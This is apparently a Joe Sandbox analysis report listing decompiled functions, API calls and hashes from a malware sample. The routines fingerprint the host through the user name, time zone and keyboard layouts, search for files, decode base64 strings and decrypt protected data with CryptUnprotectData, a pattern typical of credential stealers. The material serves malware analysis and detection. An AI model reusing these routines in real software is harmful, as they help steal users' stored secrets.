Opcode Fuzzy Hash: 4dc38651a575e3339a7912356295249081a0a3c24a7ffebe6d2d4ad050319dcf
Instruction Fuzzy Hash: 6C6167B2900118ABCB14DFA4EC85EDB77BCBF88700F04C599B61D92141E734EA94CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 005712E0, Relevance: 19.6, APIs: 13, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(?), ref: 005712ED
wsprintfA.USER32 ref: 00571307
FindFirstFileA.KERNEL32(?,?), ref: 0057131E
StrCmpCA.SHLWAPI(?,00414010), ref: 00571344
StrCmpCA.SHLWAPI(?,00414014), ref: 0057135A
FindNextFileA.KERNEL32(000000FF,?), ref: 00571423
FindClose.KERNEL32(000000FF), ref: 00571438

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: Find$File$CloseCurrentDirectoryFirstNextwsprintf
String ID:
API String ID: 2809309208-0
Opcode ID: 4258f23d34cf02f08480d43e87c0d7bfbbd2779a6ab049ced438d9f47dbadb74
Instruction ID: e5f763a39341dc487ad489db48b63a90c2692fdbb7b886ea8eebb724b6514412
Opcode Fuzzy Hash: 4258f23d34cf02f08480d43e87c0d7bfbbd2779a6ab049ced438d9f47dbadb74
Instruction Fuzzy Hash: 1B3182B2500218ABCB10DFA4DD88EEA77BCBF48705F00C699B609A2050DB34DB94DF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE00, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AE00() {
				void* _v8;
				void _v524;
				int _v528;
				int _v532;
				void* _v536;
				signed int _v540;
				void* _t63;

				_v536 = RtlAllocateHeap(GetProcessHeap(), 0, 0x1f4);
				_v528 = 0;
				_v8 = 0;
				_v532 = GetKeyboardLayoutList(0, 0);
				_v8 = LocalAlloc(0x40, _v532 << 2);
				_v532 = GetKeyboardLayoutList(_v532, _v8);
				_v540 = 0;
				while(_v540 < _v532) {
					GetLocaleInfoA( *(_v8 + _v540 * 4) & 0x0000ffff, 2,  &_v524, 0x200);
					if(_v528 == 0) {
						wsprintfA(_v536, 0x414024,  &_v524);
						_t63 = _t63 + 0xc;
					} else {
						wsprintfA(_v536, "%s / %s", _v536,  &_v524);
						_t63 = _t63 + 0x10;
					}
					_v528 = _v528 + 1;
					memset( &_v524, 0, 0x200);
					_v540 = _v540 + 1;
				}
				if(_v8 != 0) {
					LocalFree(_v8);
				}
				return _v536;
			}

0x0040ae1d
0x0040ae23
0x0040ae2d
0x0040ae3e
0x0040ae56
0x0040ae6a
0x0040ae70
0x0040ae8b
0x0040aeb9
0x0040aec6
0x0040af00
0x0040af06
0x0040aec8
0x0040aee2
0x0040aee8
0x0040aee8
0x0040af12
0x0040af26
0x0040ae85
0x0040ae85
0x0040af35
0x0040af3b
0x0040af3b
0x0040af4a

APIs

GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
wsprintfA.USER32 ref: 0040AEE2
wsprintfA.USER32 ref: 0040AF00
memset.NTDLL ref: 0040AF26
LocalFree.KERNEL32(00000000), ref: 0040AF3B

Strings

%s / %s, xrefs: 0040AED6

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: HeapKeyboardLayoutListLocalwsprintf$AllocAllocateFreeInfoLocaleProcessmemset
String ID: %s / %s
API String ID: 1833916909-2910687431
Opcode ID: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction ID: eeb2f0a0621c424ab69100cade097cc135afe8712b6e6ced773cd8003e1ddd0d
Opcode Fuzzy Hash: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction Fuzzy Hash: 48317CB098121CEBDB60DB54CD8DBE9B7B4FB54300F1086E5E509A6291C7745ED0CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00579930, Relevance: 16.7, APIs: 11, Instructions: 213fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00579949
FindFirstFileA.KERNEL32(?,?), ref: 00579960
StrCmpCA.SHLWAPI(?,00414010), ref: 00579986
StrCmpCA.SHLWAPI(?,00414014), ref: 0057999C
FindNextFileA.KERNEL32(000000FF,?), ref: 00579B9A
FindClose.KERNEL32(000000FF), ref: 00579BAF

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction ID: 48e72bb7918caf9fdc52d7086902b7e7d759c6ddcc2334d0f9e2fad7f5e1971d
Opcode Fuzzy Hash: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction Fuzzy Hash: 0781EDB6500209ABCB14DF98EC84EEB77BDBB8C700F04C559B60D93151E634EA54DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0057B050, Relevance: 15.1, APIs: 10, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0057B060
RtlAllocateHeap.NTDLL(00000000), ref: 0057B067
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0057B088
LocalAlloc.KERNEL32(00000040,?), ref: 0057B0A0
GetKeyboardLayoutList.USER32(?,00000000), ref: 0057B0B4
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0057B109
wsprintfA.USER32 ref: 0057B132
wsprintfA.USER32 ref: 0057B150
memset.NTDLL ref: 0057B176
LocalFree.KERNEL32(00000000), ref: 0057B18B

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: HeapKeyboardLayoutListLocalwsprintf$AllocAllocateFreeInfoLocaleProcessmemset
String ID:
API String ID: 1833916909-0
Opcode ID: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction ID: fd0cf954277a2949034af3f58d06c5827d794ec104703b15a33d14983f7ceff7
Opcode Fuzzy Hash: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction Fuzzy Hash: A0319AB0A8121CEBEB20DB94DC8DBE9B7B4FB44300F1086D5E519A2281CB745ED0DF55

Uniqueness

Uniqueness Score: -1.00%

Function 005776C0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,vyW,00000000,00000000), ref: 005776EF
LocalAlloc.KERNEL32(00000040,?,?,00577976,?,?), ref: 00577701
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,vyW,00000000,00000000), ref: 0057772A
LocalFree.KERNEL32(?,?,?,00577976,?,?), ref: 0057773F

Strings

vyW, xrefs: 005776D4, 005776E1, 005776F9, 00577718, 005776E4, 0057771B

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: vyW
API String ID: 4291131564-2765081368
Opcode ID: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction ID: c4a0e649ffb582f925ae217721187f6b96b6af26ca650ed256db4fff634b995e
Opcode Fuzzy Hash: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction Fuzzy Hash: 6411C0B4241208AFEB04CF64DC95FAA77B5FB89710F20C458F9199B2D0C7B1A940CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00407470, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
encryptionmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407470(void* __ecx, char* _a4, void** _a8, char _a12) {
				int _v8;

				_v8 = 0;
				 *_a8 = 0;
				_t3 =  &_a12; // 0x407726
				 *( *_t3) = 0;
				_t4 =  &_a12; // 0x407726
				if(CryptStringToBinaryA(_a4, 0, 1, 0,  *_t4, 0, 0) != 0) {
					_t6 =  &_a12; // 0x407726
					 *_a8 = LocalAlloc(0x40,  *( *_t6));
					if( *_a8 != 0) {
						_t9 =  &_a12; // 0x407726
						_v8 = CryptStringToBinaryA(_a4, 0, 1,  *_a8,  *_t9, 0, 0);
						if(_v8 == 0) {
							 *_a8 = LocalFree( *_a8);
						}
					}
				}
				return _v8;
			}

0x00407474
0x0040747e
0x00407484
0x00407487
0x00407491
0x004074a7
0x004074a9
0x004074ba
0x004074c2
0x004074c8
0x004074e0
0x004074e7
0x004074f8
0x004074f8
0x004074e7
0x004074c2
0x00407500

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,&w@,00000000,00000000), ref: 0040749F
LocalAlloc.KERNEL32(00000040,?,?,00407726,?,?), ref: 004074B1
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,&w@,00000000,00000000), ref: 004074DA
LocalFree.KERNEL32(?,?,?,00407726,?,?), ref: 004074EF

Strings

&w@, xrefs: 00407484, 00407491, 004074A9, 004074C8, 00407494, 004074CB

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: &w@
API String ID: 4291131564-3575860705
Opcode ID: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction ID: c39f37767852ac2ecb8cc561512dd45ccdd2e68df360e397a827ac1b88331437
Opcode Fuzzy Hash: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction Fuzzy Hash: 7011C0B4641208AFEB00CF64CC95FAA77B5FB89710F20C459F9199B3D0C7B5A940CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD40, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040AD40() {
				struct _TIME_ZONE_INFORMATION _v180;
				void* _v184;
				long _v188;

				_v184 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v188 = GetTimeZoneInformation( &_v180);
				if(_v188 != 0xffffffff) {
					asm("cdq");
					wsprintfA(_v184, "UTC%d",  ~(_v180.Bias) / 0x3c);
					return _v184;
				}
				return _v184;
			}

0x0040ad5d
0x0040ad70
0x0040ad7d
0x0040ad8f
0x0040ada4
0x00000000
0x0040adad
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A
wsprintfA.USER32 ref: 0040ADA4

Strings

UTC%d, xrefs: 0040AD98

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID: UTC%d
API String ID: 3317088062-2723047788
Opcode ID: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction ID: 6bb383849dc0d2738afe04011fc8d00bcf8755a75da2bcdf9aea4dbc95a6d17c
Opcode Fuzzy Hash: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction Fuzzy Hash: D9F0F670904318DBDB209BA0DD49BE5737AAF04301F0041E1EA09A3291C7745E90CF47

Uniqueness

Uniqueness Score: -1.00%

Function 005779F0, Relevance: 7.6, APIs: 5, Instructions: 90stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(0057956D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 00577A3B
CryptStringToBinaryA.CRYPT32(0057956D,00000000), ref: 00577A46
lstrcat.KERNEL32(?,0041401A), ref: 00577B09
lstrcat.KERNEL32(?,0041401A), ref: 00577B1D
lstrcat.KERNEL32(0041401A,0041401A), ref: 00577B3E

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 22087c711f4338eb39b615c0f377d7a38918ef4b0fdc1615a81ca521fe69a690
Instruction ID: cc9f3f79a01a8ed6851b9c9c060a3bc7b81e534299d1f1790aff184efdc62afc
Opcode Fuzzy Hash: 22087c711f4338eb39b615c0f377d7a38918ef4b0fdc1615a81ca521fe69a690
Instruction Fuzzy Hash: AE41807490421E9FCB10DF90DD89BEEBBB8FF48300F1085A9E509A7280D7745A80DF95

Uniqueness

Uniqueness Score: -1.00%

Function 004077A0, Relevance: 7.6, APIs: 5, Instructions: 90stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6
lstrcat.KERNEL32(?,0041401A), ref: 004078B9
lstrcat.KERNEL32(?,0041401A), ref: 004078CD
lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 516e6448358f7b58bb84e67d9d16b3023418a82e33a7becf366805c1b7c308d2
Instruction ID: 30f07ec64d583e05a1b33d7b848fe3cd5425e9d6c421b14f2a106d9c5e4e8dd0
Opcode Fuzzy Hash: 516e6448358f7b58bb84e67d9d16b3023418a82e33a7becf366805c1b7c308d2
Instruction Fuzzy Hash: 42414075D042199BDB10DF90CD89BFEB7B8EF48744F1085BAE505A7280C7786A84CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00404830, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00404830(void* __ecx, void* __eflags, char* _a4) {
				int _v8;
				void _v20011;
				char _v20012;

				E004139B0(0x4e28, __ecx);
				_v20012 = 0;
				memset( &_v20011, 0, 0x4e1f);
				_v8 = 0;
				CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1, 0,  &_v8, 0, 0);
				if(CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1,  &_v20012,  &_v8, 0, 0) == 0) {
					return 0x418b78;
				}
				return  &_v20012;
			}

0x00404838
0x0040483d
0x00404852
0x0040485a
0x0040487e
0x004048ae
0x00000000
0x004048ba
0x00000000

APIs

memset.MSVCRT ref: 00404852
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00762398), ref: 0040487E
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

UNK, xrefs: 004048BA

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: BinaryCryptString$memset
String ID: UNK
API String ID: 1505698593-448974810
Opcode ID: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction ID: 67e6f1f926e8c7a0577fe417f9255aed609f7f29732bbe38cca2ef159a93475b
Opcode Fuzzy Hash: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction Fuzzy Hash: 150180F6A50208BAE710EA90CC46FDA736CAB44705F104569B704AB2C1DBF5AB8487AD

Uniqueness

Uniqueness Score: -1.00%

Function 00574A80, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000000), ref: 00574ACE
CryptStringToBinaryA.CRYPT32(?,00000000,00000000,00000000), ref: 00574AF6

Strings

UNK, xrefs: 00574B0A

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: BinaryCryptString
String ID: UNK
API String ID: 80407269-448974810
Opcode ID: 6933eaff934019462525ac9f63904068db082611bb120be6f3861f78d51b7ebf
Instruction ID: bebc3cd8f86ebcb7be6cd312b91d274f2a47b26fe9a81095dd800d909b8e9917
Opcode Fuzzy Hash: 6933eaff934019462525ac9f63904068db082611bb120be6f3861f78d51b7ebf
Instruction Fuzzy Hash: B40196F2A4020877EB10EB90DC4AFDA376CBB44700F104554B708AA1C1D7F0FB448BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00577760, Relevance: 4.5, APIs: 3, Instructions: 49memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00577784
LocalAlloc.KERNEL32(00000040,00000000), ref: 005777A3
LocalFree.KERNEL32(?), ref: 005777CF

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction ID: aaf68d2fdd807035975e797f82d1b730bca25ca952e00381f65f525bbd70e41f
Opcode Fuzzy Hash: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction Fuzzy Hash: 1311B7B8A01209EFCB04DF94D988EAEB7B9FF89300F108558F915A7390D730AE51CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00407510, Relevance: 4.5, APIs: 3, Instructions: 49
memoryencryptionCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00407510(intOrPtr _a4, char _a8, intOrPtr* _a12, long* _a16) {
				void* _v8;
				long _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;

				_v16 = _a4;
				_v20 = _a8;
				_v24 =  *0x41a91c( &_v20, 0, 0, 0, 0, 0,  &_v12);
				if(_v24 != 0) {
					 *_a16 = _v12;
					 *_a12 = LocalAlloc(0x40,  *_a16);
					if( *_a12 != 0) {
						E0040B6C0( *_a12, _v8,  *_a16);
					}
				}
				LocalFree(_v8);
				return _v24;
			}

0x00407519
0x0040751f
0x0040753a
0x00407541
0x00407549
0x0040755c
0x00407564
0x00407576
0x00407576
0x00407564
0x0040757f
0x0040758b

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00407534
LocalAlloc.KERNEL32(00000040,00000000), ref: 00407553
LocalFree.KERNEL32(?), ref: 0040757F

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction ID: 5588d120a004665a6ba361d23f784ce6a241c8210f3f123560cfb33f0262ac2e
Opcode Fuzzy Hash: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction Fuzzy Hash: A711BAB4A01209EFCB04DF94D984EEE77B5FF88300F108569E915A7390D734AE51CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00576CF0, Relevance: 4.5, APIs: 3, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00576CF6
Sleep.KERNEL32(00002710), ref: 00576D04
GetTickCount.KERNEL32 ref: 00576D0A

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction ID: a15a48c37c4d91abed1e0c55ff921f1c49e7189cd5b07809e377ea65aafd964d
Opcode Fuzzy Hash: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction Fuzzy Hash: 9EE0BF35A59109DFD710AFB4ED094AC7FB4EB04342F10C9B5980996150DA744954AA57

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACA0, Relevance: 4.5, APIs: 3, Instructions: 19
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACA0() {
				long _v8;
				void* _v12;

				_v12 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v8 = 0x104;
				GetUserNameA(_v12,  &_v8);
				return _v12;
			}

0x0040acba
0x0040acbd
0x0040accc
0x0040acd8

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction ID: d8f7b171ebd5a715f3e42bd651ca7b29b46524e3321307990960babfdc207423
Opcode Fuzzy Hash: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction Fuzzy Hash: 68E08CB4901208BBCB00EFE4DE49ACDBBB8AB08302F0040A4EA04E3280D6755A94CB52

Uniqueness

Uniqueness Score: -1.00%

Function 005773E0, Relevance: 1.6, APIs: 1, Instructions: 60encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 0057B8F0: GetProcessHeap.KERNEL32(00000008,b6X,?,0057B7ED,b6X,00000009,?,00583662,00000009), ref: 0057B8F9
Part of subcall function 0057B8F0: RtlAllocateHeap.NTDLL(00000000,?,0057B7ED), ref: 0057B900

CryptUnprotectData.CRYPT32(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 00577433

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: Heap$AllocateCryptDataProcessUnprotect
String ID:
API String ID: 976466151-0
Opcode ID: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction ID: fd7a0bd6f11bad963df44f90395939689bb3ec503e94fd304391c436d9621e49
Opcode Fuzzy Hash: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction Fuzzy Hash: CC113AB5D0420EEFCF00CFA8E881AAEBBB5BF48304F10C555E919AB301D734AA41DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00407190, Relevance: 1.6, APIs: 1, Instructions: 60
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00407190(intOrPtr _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;

				_v8 = E0040B6A0(_a8);
				E0040B6C0(_v8, _a4, _a8);
				_v12 = _a4;
				_v16 = _a8;
				_v28 = E0040B6A0(_a8);
				_push( &_v24);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push( &_v16);
				if( *0x41a91c() == 0) {
					return 0;
				}
				_v32 = 0;
				while(_v32 < _v24) {
					 *((char*)(_v28 + _v32)) =  *((intOrPtr*)(_v20 + _v32));
					_v32 = _v32 + 1;
				}
				 *((char*)(_v28 + _v24)) = 0;
				return _v28;
			}

0x004071a2
0x004071b1
0x004071b9
0x004071bf
0x004071ce
0x004071d4
0x004071d5
0x004071d7
0x004071d9
0x004071db
0x004071dd
0x004071e2
0x004071eb
0x00000000
0x00407229
0x004071ed
0x004071ff
0x00407215
0x004071fc
0x004071fc
0x0040721f
0x00000000

APIs

Part of subcall function 0040B6A0: GetProcessHeap.KERNEL32(00000008,00413650,?,0040B59D,00413650,?,?,00413650,00004098), ref: 0040B6A9
Part of subcall function 0040B6A0: RtlAllocateHeap.NTDLL(00000000,?,0040B59D), ref: 0040B6B0

CryptUnprotectData.CRYPT32(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 004071E3

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Heap$AllocateCryptDataProcessUnprotect
String ID:
API String ID: 976466151-0
Opcode ID: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction ID: 8f8f6216897be9d8972c86f868d54cc82cdb6c08760e6d1e730d1f8a7c76b19d
Opcode Fuzzy Hash: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction Fuzzy Hash: 17116DB5D04109EBCF00CFD8D881AAFB7B4AF44304F108569E905AB341D338AA41CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 004056E0, Relevance: 131.6, APIs: 64, Strings: 11, Instructions: 315stringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
lstrcat.KERNEL32(?,0074EC70), ref: 00405705
lstrcat.KERNEL32(?,0074E508), ref: 00405716
lstrcat.KERNEL32(?,00418BC0), ref: 00405725
lstrcat.KERNEL32(?,0074EC80), ref: 00405736
lstrcat.KERNEL32(?,00418BC4), ref: 00405745
lstrcat.KERNEL32(?,00765518), ref: 00405756
lstrcat.KERNEL32(?,00418BC0), ref: 00405765
lstrcat.KERNEL32(?,00766498), ref: 00405776
GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C

Part of subcall function 0040B950: OpenProcess.KERNEL32(00000410,00000000,004067CA), ref: 0040B964
Part of subcall function 0040B950: GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 0040B985
Part of subcall function 0040B950: CloseHandle.KERNEL32(00000000), ref: 0040B98F

lstrcat.KERNEL32(?,00000000), ref: 00405790
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
lstrcat.KERNEL32(hdv,00766468), ref: 004057AF

Part of subcall function 0040ACE0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
Part of subcall function 0040ACE0: RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
Part of subcall function 0040ACE0: GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
Part of subcall function 0040ACE0: wsprintfA.USER32 ref: 0040AD2E

lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
lstrcat.KERNEL32(007666F0,007666F0), ref: 004057DF

